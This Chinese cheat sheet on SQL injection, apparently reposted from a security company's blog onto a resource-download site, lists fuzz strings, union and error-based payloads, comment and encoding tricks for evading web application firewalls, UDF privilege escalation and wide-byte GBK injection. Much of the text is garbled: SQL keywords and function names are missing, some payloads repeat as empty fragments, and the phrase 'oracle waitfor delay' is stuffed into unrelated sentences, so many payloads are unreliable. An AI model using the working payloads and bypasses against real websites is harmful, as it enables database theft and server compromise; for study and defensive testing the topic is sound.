oracle waitfor delay 渗透测试对网站注入攻击方法剖析

oracle waitfor delay 渗透测试对网站注入攻击方法剖析

一键部署

国庆即将到来,前一期讲到获取网站信息判断所属环境以及各个端口的用处和弱口令密码利用方法,这期仍有很多客户找到我们Sine安全想要了解针对于SQL注入攻击的测试方法,这一期我们来讲解下注入的攻击分类和使用手法,让客户明白漏洞是如何产生的,会给网站安全带来怎样的影响!

3.1 SQL注入漏洞

3.1.1. 注入分类

SQL注入是一种代码注入技术,用于攻击数据驱动的应用程序。在应用程序中,如果没有做恰当的过滤,则可能使得恶意的SQL语句被插入输入字段中执行(例如将数据库内容转储给攻击者)。

3.1.1.1. 按技巧分类

根据使用的技巧,SQL注入类型可分为

盲注

布尔盲注:只能从应用返回中推断语句执行后的布尔值

时间盲注:应用没有明确的回显,只能使用特定的时间函数来判断

报错注入:应用会显示全部或者部分的报错信息

堆叠注入:有的应用可以加入 ; 后一次执行多条语句

其他

3.1.1.2. 按获取数据的方式分类

另外也可以根据获取数据的方式分为3类

利用Web应用来直接获取数据

如报错注入

都是通过站点的响应或者错误反馈来提取数据

通过Web的一些反映来推断数据

如布尔盲注和堆叠注入

也就是我们通俗的盲注,

通过web应用的其他改变来推断数据

out of band(OOB)

通过其他传输方式来获得数据,比如DNS解析协议和电子邮件

3.1.2. 注入检测

3.1.2.1. 常见的注入点

GET/POST/PUT/参数

X–For

文件名

3.1.2.2. Fuzz注入点

‘ / “

1/1

1/0

and 1=1

” and “1”=”1

and 1=2

or 1=1

or 1=

‘ and ‘1’=’1

+ – ^ * % /

> || | & &&

反引号执行

3.1.2.3. 测试用常量

@@

@@

@@

@@spid

3.1.2.4. 测试列数

例如 域名/index.asp?id=12+union++nulll,null– ,不断增加 null 至不返回

3.1.2.5. 报错注入

1/0

1 from ( count(*),((),floor(rand(0)*2))x from . group by x)a

(1, (0x5c,( user())))

(0x3a,(1,( user())),1)

exp(~( * from( user())a))

(( * from( * from( user())a)b))

((), 1)

3.1.2.5.1. 基于的报错注入

(( * from ( * from( user())a)b))

(( * from( * from( user())a)b))

(( * from( * from( user())a)b))

(( * from( * from( user())a)b))

(( * from( * from( user())a)b))

(( * from( * from( user())a)b))

其中需要注意的是,基于exp函数的报错注入在MySQL 5.5.49后的版本已经不再生效,具体可以参考这个 。

而以上列表中基于的报错注入在这个 中被修复,在5.5.x较后的版本中同样不再生效。

3.1.2.6. 堆叠注入

; 1

3.1.2.7. 注释符

–+

/*xxx*/

/*!xxx*/

/*!*/

3.1.2.8. 判断过滤规则

是否有trunc

是否过滤某个字符

是否过滤关键字

slash和编码

3.1.2.9. 获取信息

判断数据库类型

and ( * from ) > 0 数据库

and ( * from ) > 0 数据库

判断数据库表

and ( * from admin)

版本、主机名、用户名、库名

表和字段

确定字段数(Order By Into)

表名、列名

3.1.2.10. 测试权限

文件操作

读敏感文件

写shell

带外通道

网络请求

3.1.3. 权限提升

3.1.3.1. UDF提权

UDF(User ,用户自定义函数)是MySQL提供的一个功能oracle waitfor delay,可以通过编写DLL扩展为MySQL添加新函数oracle waitfor delay,扩充其功能。

当获得MySQL权限之后,即可通过这种方式上传自定义的扩展文件,从MySQL中执行系统命令。

3.1.4. 数据库检测

3.1.4.1. MySQL

sleep sleep(1)

(, MD5(‘test’))

字符串连接

‘a’ ‘b’

(‘some’,”)

@@

()

识别用函数

()

()

()

3.1.4.2.

字符串连接

‘a’||” —

(‘some’,”)

FROM v$

FROM v$ WHERE =1

3.1.4.3.

DELAY ’00:00:10′;

@@

@@

字符串连接

‘some’+”

常量

@@

@@

3.1.4.4.

sleep (1)

3.1.5. 绕过技巧

编码绕过

大小写

url编码

html编码

十六进制编码

编码

注释

// — — + — – # /**/ ;

内联注释用的更多,它有一个特性 /!**/ 只有MySQL能识别

e.g. index.php?id=-1 /*!UNION*/ /*!*/ 1,2,3

只过滤了一次时

union =>

相同功能替换

函数替换

/ mid / sub

ascii / hex / bin

/ sleep

变量替换

user() / @@user

符号和关键字

and / &

or / |

HTTP参数

HTTP参数污染

id=1&id=2&id=3 根据容器不同会有不同的结果

HTTP分割注入

缓冲区溢出

一些C语言的WAF处理的字符串长度有限,超出某个长度后的可能不会被处理

二次注入有长度限制时oracle waitfor delay 渗透测试对网站注入攻击方法剖析,通过多句执行的方法改掉数据库该字段的长度绕过

3.1.6. SQL注入小技巧

3.1.6.1. 宽字节注入

一般程序员用gbk编码做开发的时候,会用 set names ‘gbk’ 来设定,这句话等同于

set

tion = ‘gbk’,

= ‘gbk’,

= ‘gbk’;

漏洞发生的原因是执行了 set = ‘gbk’; 之后,mysql就会认为客户端传过来的数据是gbk编码的oracle waitfor delay 渗透测试对网站注入攻击方法剖析,从而使用gbk去解码,而是在解码前执行的。但是直接用 set names ‘gbk’ 的话是不知道设置的数据的编码的,就会加 %5c 。此时拿到数据解码 就认为提交的字符+%5c是gbk的一个字符,这样就产生漏洞了。

解决的办法有三种,第一种是把的设置为,就不会做一次解码的操作。第二种是是 (‘gbk’) ,这里就会把编码的信息保存在和数据库的连接里面,就不会出现这个问题了。第三种就是用pdo。如果期间想要渗透测试自己的网站安全性,可以联系专业的网站安全公司来处理解决,国内推荐,绿盟,启明星辰等等的网站安全公司,还有一些其他的编码技巧,比如latin会弃掉无效的,那么admin%32在代码里面不等于admin,在数据库比较会等于admin。

申请创业报道oracle waitfor delay,分享创业好点子。点击此处,共同探讨创业新机遇!

公告:
1. 本站所有资源来源于用户上传和网络,如有侵权请联系站长!
2. 分享目的仅供大家学习和交流,您必须在下载后24小时内删除!
3. 不得使用于非法商业用途,不得违反国家法律。否则后果自负!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长处理!
6. 本站不售卖代码,资源标价只是站长收集整理的辛苦费!如果您喜欢该程序,请支持正版软件,购买注册,得到更好的正版服务。
7. 站长QQ号码 2205675299

资源库 - 资源分享下载网 » oracle waitfor delay 渗透测试对网站注入攻击方法剖析

常见问题FAQ

关于资源售价和售后服务的说明?
本站所有资源的标价均为本站收集资源的辛苦费,不代表资源本身的价值。软件是高智慧高价值的商品,不可能是白菜价。本站资源标价只是赞助费用,收取的赞助费仅用来维持本站的日常运营!毕竟收集整理资料需要投入云计算资源和站长大量的精力。
代码有没有售后服务和技术支持?
由于代码的运行具有不可预见性,本站不保证代码完整可运行,不提供技术支持和售后服务。 本站原创代码都是站长自己开发的,可以有偿提供技术支持服务。 网站里标明【亲测】的代码都是站长亲测过的,其他的代码由于精力有限,没有一一测试,不能保证代码就一定能够使用,更没有技术支持服务,下载前请自行斟酌。
有没有搭建服务?
由于搭建服务比较费时费力,所以本站除了原创代码外均不提供搭建服务。本站分享代码纯属兴趣爱好,不以盈利为目的,请勿咨询有没有搭建服务,谢谢理解。
链接地址失效了怎么办?
请带上资源链接地址联系客服,工作时间内我们看到后将第一时间回复。
关于解压密码
本站资源一般都没有加密,如果发现需要解压密码的,那么就输入 hao.35dc.com 试试。

发表评论

资源库,由老程序员细心甄别、精心筛选,只为提供优质的源码资源

关于我们 联系我们